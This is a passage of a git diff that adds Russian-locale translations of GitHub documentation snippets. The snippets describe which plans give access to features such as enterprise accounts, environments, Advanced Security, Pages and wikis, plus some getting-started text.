80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884990" +--- +Чтобы управлять пользователями на предприятии с помощью поставщика удостоверений, для вашего предприятия должны быть включены {% data variables.product.prodname_emus %}, предоставляемые {% data variables.product.prodname_ghe_cloud %}. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users). diff --git a/translations/ru-RU/data/reusables/gated-features/enterprise-accounts.md b/translations/ru-RU/data/reusables/gated-features/enterprise-accounts.md new file mode 100644 index 000000000000..148f016319b5 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/enterprise-accounts.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 56aa6bc09ed1ee32df3f51dcd033cc74c60e54f0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110787" +--- +Корпоративные учетные записи доступны для {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} и {% data variables.product.prodname_ghe_server %}. Дополнительные сведения см. в разделе [Сведения о корпоративных учетных записях]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/overview/about-enterprise-accounts){% ifversion fpt %}" в документации по {% data variables.product.prodname_ghe_cloud %}.{% else %}."{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/enterprise_account_webhooks.md b/translations/ru-RU/data/reusables/gated-features/enterprise_account_webhooks.md new file mode 100644 index 000000000000..22089e579d13 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/enterprise_account_webhooks.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: b741f343a35c7e389eb4e7aa5915cab8a2ae67a3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110779" +--- + +{% data reusables.gated-features.enterprise-accounts %} + +Веб-перехватчики, настроенные для корпоративных учетных записей или организаций, входящих в корпоративную учетную запись, будут включать в себя объект учетной записи `enterprise`. diff --git a/translations/ru-RU/data/reusables/gated-features/environments.md b/translations/ru-RU/data/reusables/gated-features/environments.md new file mode 100644 index 000000000000..de5631542b06 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/environments.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9db9f73b8e86138d18bae1a3b9c71fd956553dcd +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147548123" +--- +Среды, секреты среды и правила защиты среды доступны в **общедоступных** репозиториях для всех продуктов. Для доступа к средам, секретам сред и ветвям развертываний в **частных** или **внутренних** репозиториях необходимо использовать {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %} или {% data variables.product.prodname_enterprise %}. Для доступа к другим правилам защиты среды в **частных** или **внутренних** репозиториях необходимо использовать {% data variables.product.prodname_enterprise %}. {% data reusables.gated-features.more-info %} diff --git a/translations/ru-RU/data/reusables/gated-features/generated-health-checks.md b/translations/ru-RU/data/reusables/gated-features/generated-health-checks.md new file mode 100644 index 000000000000..3388736fa6c1 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/generated-health-checks.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bff9cd48bd38493094b976c3890e41c917dea22e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110760" +--- +Создание проверки работоспособности доступно с использованием {% data variables.contact.premium_support %}. Дополнительные сведения см. в разделе [Сведения о {% data variables.contact.premium_support %}](/support/learning-about-github-support/about-github-premium-support). diff --git a/translations/ru-RU/data/reusables/gated-features/ghas.md b/translations/ru-RU/data/reusables/gated-features/ghas.md new file mode 100644 index 000000000000..f8d69b087beb --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/ghas.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b0d09d3cb9de735d049e22eae7c9a7abe11c871d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147525724" +--- +{% data variables.product.prodname_GH_advanced_security %} доступен для корпоративных учетных записей в {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} и {% data variables.product.prodname_ghe_server %}.{% ifversion fpt or ghec %} Некоторые функции {% data variables.product.prodname_GH_advanced_security %} также доступны для общедоступных репозиториев для {% data variables.product.prodname_dotcom_the_website %}. Дополнительную информацию см. в разделе [Сведения о продуктах GitHub](/github/getting-started-with-github/githubs-products).{% else %} Дополнительную информацию об обновлении экземпляра {% data variables.product.prodname_ghe_server %} см. в разделе [Сведения об обновлении до новых выпусков](/admin/overview/about-upgrades-to-new-releases), а также просмотрите [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) для поиска пути обновления из текущей версии выпуска.{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/historical-insights-for-projects.md b/translations/ru-RU/data/reusables/gated-features/historical-insights-for-projects.md new file mode 100644 index 000000000000..cf8b893380d1 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/historical-insights-for-projects.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f28c558acbb1dacd503964146c0522145d44948b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109344" +--- +Диаграммы с данными за прошлые периоды доступны в {% data variables.product.prodname_team %} и {% data variables.product.prodname_ghe_cloud %} для организаций. Вы можете сохранять неограниченные диаграммы в частных проектах с помощью {% data variables.product.prodname_team %} и {% data variables.product.prodname_ghe_cloud %} для организаций и {% data variables.product.prodname_pro %} для пользователей. Пользователи и организации, использующие общедоступный проект, также могут сохранять неограниченные диаграммы. Пользователи и организации, использующие {% data variables.product.prodname_free_team %} или устаревший план, могут сохранять две диаграммы в частных проектах. {% data reusables.gated-features.more-info %} diff --git a/translations/ru-RU/data/reusables/gated-features/hosted-runners.md b/translations/ru-RU/data/reusables/gated-features/hosted-runners.md new file mode 100644 index 000000000000..b70ca46615a9 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/hosted-runners.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 54a0c4cae87acc79c4d4763521f11da1a37cd2d6 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109343" +--- +Возможность {% data variables.actions.hosted_runner %} в настоящее время находится в бета-версии для организаций и предприятий, использующих планы {% data variables.product.prodname_team %} или {% data variables.product.prodname_ghe_cloud %}, и может меняться. Чтобы запросить доступ к бета-версии, перейдите на [страницу регистрации](https://github.com/features/github-hosted-runners/signup). diff --git a/translations/ru-RU/data/reusables/gated-features/more-info-org-products.md b/translations/ru-RU/data/reusables/gated-features/more-info-org-products.md new file mode 100644 index 000000000000..15994fdd2899 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/more-info-org-products.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1b4fbc66b0491f7fa6b9e013608b5febe7492ba6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110747" +--- +{% ifversion fpt or ghec %}Дополнительные сведения см. в разделе [Продукты {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/githubs-products).{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/more-info.md b/translations/ru-RU/data/reusables/gated-features/more-info.md new file mode 100644 index 000000000000..ad5daadbed72 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/more-info.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1b4fbc66b0491f7fa6b9e013608b5febe7492ba6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110739" +--- +{% ifversion fpt or ghec %}Дополнительные сведения см. в разделе [Продукты {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/githubs-products).{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/multiple-pr-reviewers.md b/translations/ru-RU/data/reusables/gated-features/multiple-pr-reviewers.md new file mode 100644 index 000000000000..460cfdc6814d --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/multiple-pr-reviewers.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9d96af5e394c815780d17f6e846dc44b38eed707 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110736" +--- +Возможность добавления нескольких рецензентов запросов на вытягивание или проверок запросов из команд доступна в общедоступных репозиториях при использовании {% data variables.product.prodname_free_team %} для организаций и устаревших планов выставления счетов для каждого репозитория, а также в общедоступных и частных репозиториях при использовании {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_server %},{% ifversion ghae %} {% data variables.product.prodname_ghe_managed %},{% endif %} и {% data variables.product.prodname_ghe_cloud %}. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/packages.md b/translations/ru-RU/data/reusables/gated-features/packages.md new file mode 100644 index 000000000000..bc6d1e808d3e --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/packages.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes < 3.5 %} +{% data variables.product.prodname_registry %} is available with {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_free_team %} for organizations, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} 3.0 or higher, and {% data variables.product.prodname_ghe_managed %}.{% ifversion ghes %} For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.{% endif %} +{% ifversion fpt or ghec %} +
{% data variables.product.prodname_registry %} is not available for private repositories owned by accounts using legacy per-repository plans. Also, accounts using legacy per-repository plans cannot access the {% data variables.product.prodname_container_registry %} since these accounts are billed by repository. {% data reusables.gated-features.more-info %} +{% endif %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/pages.md b/translations/ru-RU/data/reusables/gated-features/pages.md new file mode 100644 index 000000000000..f704c6211a82 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/pages.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 158286d001d99618cea0196c560fed395ff94077 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878394" +--- +{% ifversion ghae %}{% data variables.product.prodname_pages %} доступен во внутренних и частных репозиториях при использовании {% data variables.product.prodname_ghe_managed %}. {% endif %}{% data variables.product.prodname_pages %} доступен в общедоступных репозиториях при использовании {% data variables.product.prodname_free_user %} и {% data variables.product.prodname_free_team %} для организаций, а также в общедоступных и частных репозиториях при использовании {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %} и {% data variables.product.prodname_ghe_server %}. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/protected-branches.md b/translations/ru-RU/data/reusables/gated-features/protected-branches.md new file mode 100644 index 000000000000..ffff43013c85 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/protected-branches.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3706543ba6e429a4a8ebd40aaf3979bd8cf90a12 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884894" +--- +{% ifversion ghae %}Защищенные ветви доступны во внутренних и частных репозиториях при использовании {% data variables.product.prodname_ghe_managed %}, {% else%}Защищенные ветви доступны {% endif %}в общедоступных репозиториях при использовании {% data variables.product.prodname_free_user %} и {% data variables.product.prodname_free_team %} для организаций, а также в общедоступных и частных репозиториях при использовании {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %} и {% data variables.product.prodname_ghe_server %}. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/repository-insights.md b/translations/ru-RU/data/reusables/gated-features/repository-insights.md new file mode 100644 index 000000000000..c189e202d46b --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/repository-insights.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4e77d47c1150c81c883f88a4a0228c8b7be105db +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110699" +--- +Этот граф аналитики репозитория доступен в общедоступных репозиториях при использовании {% data variables.product.prodname_free_user %} и {% data variables.product.prodname_free_team %} для организаций, а также в общедоступных и частных репозиториях при использовании {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %},{% ifversion ghae %} {% data variables.product.prodname_ghe_managed %},{% endif %} и {% data variables.product.prodname_ghe_server %}.{% ifversion fpt or ghec %} Дополнительные сведения см. в разделах [Сведения о графах репозитория](/articles/about-repository-graphs) и [Продукты {% data variables.product.prodname_dotcom %}](/articles/github-s-products).{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/restrict-email-domain.md b/translations/ru-RU/data/reusables/gated-features/restrict-email-domain.md new file mode 100644 index 000000000000..0643e1c9669a --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/restrict-email-domain.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 506af58cb6ad5407077714487fa76228e37c719d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110688" +--- +Ограничение уведомлений по электронной почте утвержденными или проверенными доменами доступно в {% data variables.product.prodname_ghe_cloud %} и {% data variables.product.prodname_ghe_server %}. Дополнительные сведения см. в разделе [Продукты GitHub](/articles/githubs-products). diff --git a/translations/ru-RU/data/reusables/gated-features/secret-scanning-partner.md b/translations/ru-RU/data/reusables/gated-features/secret-scanning-partner.md new file mode 100644 index 000000000000..8c5b57d91220 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/secret-scanning-partner.md @@ -0,0 +1,13 @@ +{%- ifversion fpt %} +{% data variables.product.prodname_secret_scanning_partner_caps %} is automatically run on public repositories in all products on {% data variables.product.prodname_dotcom_the_website %}. {% data variables.product.prodname_secret_scanning_GHAS_caps %} is available for repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have a license for {% data variables.product.prodname_GH_advanced_security %}. + +{%- elsif ghec %} +{% data variables.product.prodname_secret_scanning_partner_caps %} is automatically run on all public repositories. If you have a license for {% data variables.product.prodname_GH_advanced_security %}, you can enable and configure {% data variables.product.prodname_secret_scanning_GHAS %} for any repository owned by an organization. + +{%- elsif ghes %} +{% data variables.product.prodname_secret_scanning_caps %} is available for organization-owned repositories in {% data variables.product.product_name %} if your enterprise has a license for {% data variables.product.prodname_GH_advanced_security %}. + +{%- elsif ghae %} +{% data variables.product.prodname_secret_scanning_caps %} is available for organization-owned repositories in {% data variables.product.product_name %}. This is a {% data variables.product.prodname_GH_advanced_security %} feature (free during the beta release). + +{%- endif %} {% ifversion not ghae %}{% data reusables.advanced-security.more-info-ghas %}{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/secret-scanning.md b/translations/ru-RU/data/reusables/gated-features/secret-scanning.md new file mode 100644 index 000000000000..747881e5105b --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/secret-scanning.md @@ -0,0 +1,9 @@ + + +{%- ifversion ghec or ghes %} +{% data variables.product.prodname_secret_scanning_GHAS_caps %} is available for organization-owned repositories in {% data variables.product.product_name %} if your enterprise has a license for {% data variables.product.prodname_GH_advanced_security %}. + +{%- elsif ghae %} +{% data variables.product.prodname_secret_scanning_caps %} is available for organization-owned repositories in {% data variables.product.product_name %}. This is a {% data variables.product.prodname_GH_advanced_security %} feature (free during the beta release). + +{%- endif %} {% ifversion not ghae %}{% data reusables.advanced-security.more-info-ghas %}{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/security-overview.md b/translations/ru-RU/data/reusables/gated-features/security-overview.md new file mode 100644 index 000000000000..ec2507000872 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/security-overview.md @@ -0,0 +1,9 @@ +{% ifversion fpt %} +The security overview is available for organizations that use {% data variables.product.prodname_enterprise %}. For more information, see "[GitHub's products](/articles/githubs-products)." +{% elsif security-overview-displayed-alerts %} +All organizations and enterprises have a security overview. If you use {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghae %}, which is free during the beta release,{% endif %} you will see additional information. {% data reusables.advanced-security.more-info-ghas %} +{% elsif ghes < 3.7 %} +The security overview for your organization is available if you have a license for {% data variables.product.prodname_GH_advanced_security %}. {% data reusables.advanced-security.more-info-ghas %} +{% elsif ghae %} +A security overview for your enterprise and for organizations is available if you use {% data variables.product.prodname_GH_advanced_security %}, which is free during the beta release. {% data reusables.advanced-security.more-info-ghas %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/tag-protection-rules.md b/translations/ru-RU/data/reusables/gated-features/tag-protection-rules.md new file mode 100644 index 000000000000..1f9dc959404b --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/tag-protection-rules.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ba5b674ce01da292f28086fd2b30c6e4cb5dbd36 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881815" +--- +{% ifversion ghae %}Правила защиты тегов доступны во внутренних и частных репозиториях при использовании {% data variables.product.prodname_ghe_managed %}, {% else%}Правила защиты тегов доступны {% endif %}в общедоступных репозиториях при использовании {% data variables.product.prodname_free_user %} и {% data variables.product.prodname_free_team %} для организаций, а также в общедоступных и частных репозиториях при использовании {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %} и {% data variables.product.prodname_ghe_server %}. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/user-repo-collaborators.md b/translations/ru-RU/data/reusables/gated-features/user-repo-collaborators.md new file mode 100644 index 000000000000..88967aab2604 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/user-repo-collaborators.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 4fd9cde2f71877d09b3ecc74fffd4785ee13d9da +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110651" +--- +{% ifversion fpt %} Если вы используете {% data variables.product.prodname_free_user %}, в общедоступных и частных репозиториях можно добавить неограниченное число участников совместной работы. +{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/verify-and-approve-domain.md b/translations/ru-RU/data/reusables/gated-features/verify-and-approve-domain.md new file mode 100644 index 000000000000..dc989d3597b5 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/verify-and-approve-domain.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 97b624176b4e25d5dfab279c529bea68cfcd95cc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147885671" +--- +Проверка и утверждение доменов доступны с использованием {% data variables.product.prodname_ghe_cloud %} и {% data variables.product.prodname_ghe_server %}. Дополнительные сведения см. в разделе [Продукты GitHub](/articles/githubs-products). diff --git a/translations/ru-RU/data/reusables/gated-features/wikis.md b/translations/ru-RU/data/reusables/gated-features/wikis.md new file mode 100644 index 000000000000..07b1c25f40e1 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/wikis.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ef2e78485e05d963b845bf3457a487d0ad5f5415 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882106" +--- +{% ifversion ghae %}Вики-сайты доступны во внутренних и частных репозиториях при использовании {% data variables.product.prodname_ghe_managed %}.{% endif %} Вики-сайты доступны в общедоступных репозиториях при использовании {% data variables.product.prodname_free_user %} и {% data variables.product.prodname_free_team %} для организаций, а также в общедоступных и частных репозиториях при использовании {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %} и {% data variables.product.prodname_ghe_server %}. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %} diff --git a/translations/ru-RU/data/reusables/gcm-core/next-time-you-clone.md b/translations/ru-RU/data/reusables/gcm-core/next-time-you-clone.md new file mode 100644 index 000000000000..06e9d9479bd8 --- /dev/null +++ b/translations/ru-RU/data/reusables/gcm-core/next-time-you-clone.md @@ -0,0 +1 @@ +The next time you clone an HTTPS URL that requires authentication, Git will prompt you to log in using a browser window. You may first be asked to authorize an OAuth app.{% ifversion not ghae %} If your account or organization requires [two-factor auth](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa), you'll also need to complete the 2FA challenge.{% endif %} diff --git a/translations/ru-RU/data/reusables/getting-started/about-and-creating-teams.md b/translations/ru-RU/data/reusables/getting-started/about-and-creating-teams.md new file mode 100644 index 000000000000..a3ee0db8c36e --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/about-and-creating-teams.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 0081e7ed6ac3ea5d455bf3ad32a3db53bbcac4e3 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879194" +--- +Команды — это группы участников организации, которые вы можете создать. Они отражают структуру компании или группы и имеют каскадные разрешения на доступ и упоминания. Участники организации могут отправлять уведомления команде или запрашивать проверку, а команды могут быть видимыми или секретными. Дополнительные сведения см. в статье "[Сведения о командах](/organizations/organizing-members-into-teams/about-teams)". + +Вы можете создавать независимые команды или использовать несколько уровней вложенных команд, чтобы отразить иерархию своей группы или компании. Дополнительные сведения см. в статье "[Создание команды](/organizations/organizing-members-into-teams/creating-a-team)". diff --git a/translations/ru-RU/data/reusables/getting-started/actions.md b/translations/ru-RU/data/reusables/getting-started/actions.md new file mode 100644 index 000000000000..c655219426c8 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/actions.md @@ -0,0 +1 @@ +With {% data variables.product.prodname_actions %}, you can automate and customize {% data variables.location.product_location %}'s development workflow on {% data variables.product.product_name %}. You can create your own actions, and use and customize actions shared by the {% data variables.product.prodname_dotcom %} community. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." diff --git a/translations/ru-RU/data/reusables/getting-started/adding-members-to-organizations.md b/translations/ru-RU/data/reusables/getting-started/adding-members-to-organizations.md new file mode 100644 index 000000000000..42d5f43d6f54 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/adding-members-to-organizations.md @@ -0,0 +1 @@ +You can add members to organizations in {% data variables.location.product_location %} as long as you are an organization owner in the organizations you want to manage. You can also configure visibility of organization membership. For more information, see "[Adding people to your organization](/organizations/managing-membership-in-your-organization/adding-people-to-your-organization)" and "[Configuring visibility for organization membership](/admin/user-management/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership)." diff --git a/translations/ru-RU/data/reusables/getting-started/api.md b/translations/ru-RU/data/reusables/getting-started/api.md new file mode 100644 index 000000000000..8c9c6523bfde --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/api.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 761f2da5cae500cf45000b3f45772f0a71cc9bbd +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110595" +--- +Существуют две версии API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}: REST API и API GraphQL. Вы можете использовать API-интерфейсы {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} для автоматизации распространенных задач, [резервного копирования данных](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/backing-up-a-repository) или {% ifversion fpt or ghec %}[создания интеграций](/github/customizing-your-github-workflow/exploring-integrations/about-integrations){% else %}создания интеграций{% endif %}, расширяющих возможности {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Сведения об API-интерфейсах {% data variables.product.prodname_dotcom %}](/developers/overview/about-githubs-apis). diff --git a/translations/ru-RU/data/reusables/getting-started/bearer-vs-token.md b/translations/ru-RU/data/reusables/getting-started/bearer-vs-token.md new file mode 100644 index 000000000000..2238d6069b32 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/bearer-vs-token.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 43a23bdc9abc48a087e62f93a6d01a1aaabe0eb0 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109336" +--- +В большинстве случаев передать маркер с помощью `Authorization: Bearer` или `Authorization: token`. Однако при передаче веб-токена JSON (JWT) необходимо использовать `Authorization: Bearer`. diff --git a/translations/ru-RU/data/reusables/getting-started/being-social.md b/translations/ru-RU/data/reusables/getting-started/being-social.md new file mode 100644 index 000000000000..082af3273f75 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/being-social.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 45a5e54589c8c07a71852ff1b67ca008c5b7c44e +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879828" +--- +Каждый репозиторий на {% data variables.product.prodname_dotcom %} принадлежит пользователю или организации. Вы можете взаимодействовать с людьми, репозиториями и организациями, подписавшись на них на {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Социальное взаимодействие](/articles/be-social). diff --git a/translations/ru-RU/data/reusables/getting-started/configuring-security-features.md b/translations/ru-RU/data/reusables/getting-started/configuring-security-features.md new file mode 100644 index 000000000000..be2ff1bb5072 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/configuring-security-features.md @@ -0,0 +1 @@ +To keep {% ifversion ghes or ghae %}the organizations in {% data variables.location.product_location %}{% else %}your organization{% endif %} secure, you can use a variety of {% data variables.product.prodname_dotcom %} security features, including security policies, dependency graphs, secret scanning and Dependabot security and version updates. For more information, see "[Securing your organization](/code-security/getting-started/securing-your-organization)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." diff --git a/translations/ru-RU/data/reusables/getting-started/contact-support-enterprise.md b/translations/ru-RU/data/reusables/getting-started/contact-support-enterprise.md new file mode 100644 index 000000000000..9d29939e43b8 --- /dev/null +++ b/translations/ru-RU/data/reusables/getting-started/contact-support-enterprise.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6688b599c725cf819ee0e2533bdbc484392408c6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110571" +--- +{% data variables.product.product_name %} включает в себя доступ к {% data variables.contact.enterprise_support %}. {% data variables.contact.enterprise_support %} помогает вам устранять неполадки, возникающие в {% data variables.product.product_name %}. {% ifversion ghes %}Вы также можете зарегистрироваться в службе премиум-поддержки {% data variables.product.prodname_dotcom %} для получения дополнительных функций. {% endif %}Дополнительные сведения см. в разделе [Сведения о {% data variables.contact.enterprise_support %}](/admin/enterprise-support/overview/about-github-enterprise-support). diff --git a/translations/ru-RU/data/reusables/getting-started/contact-support.md 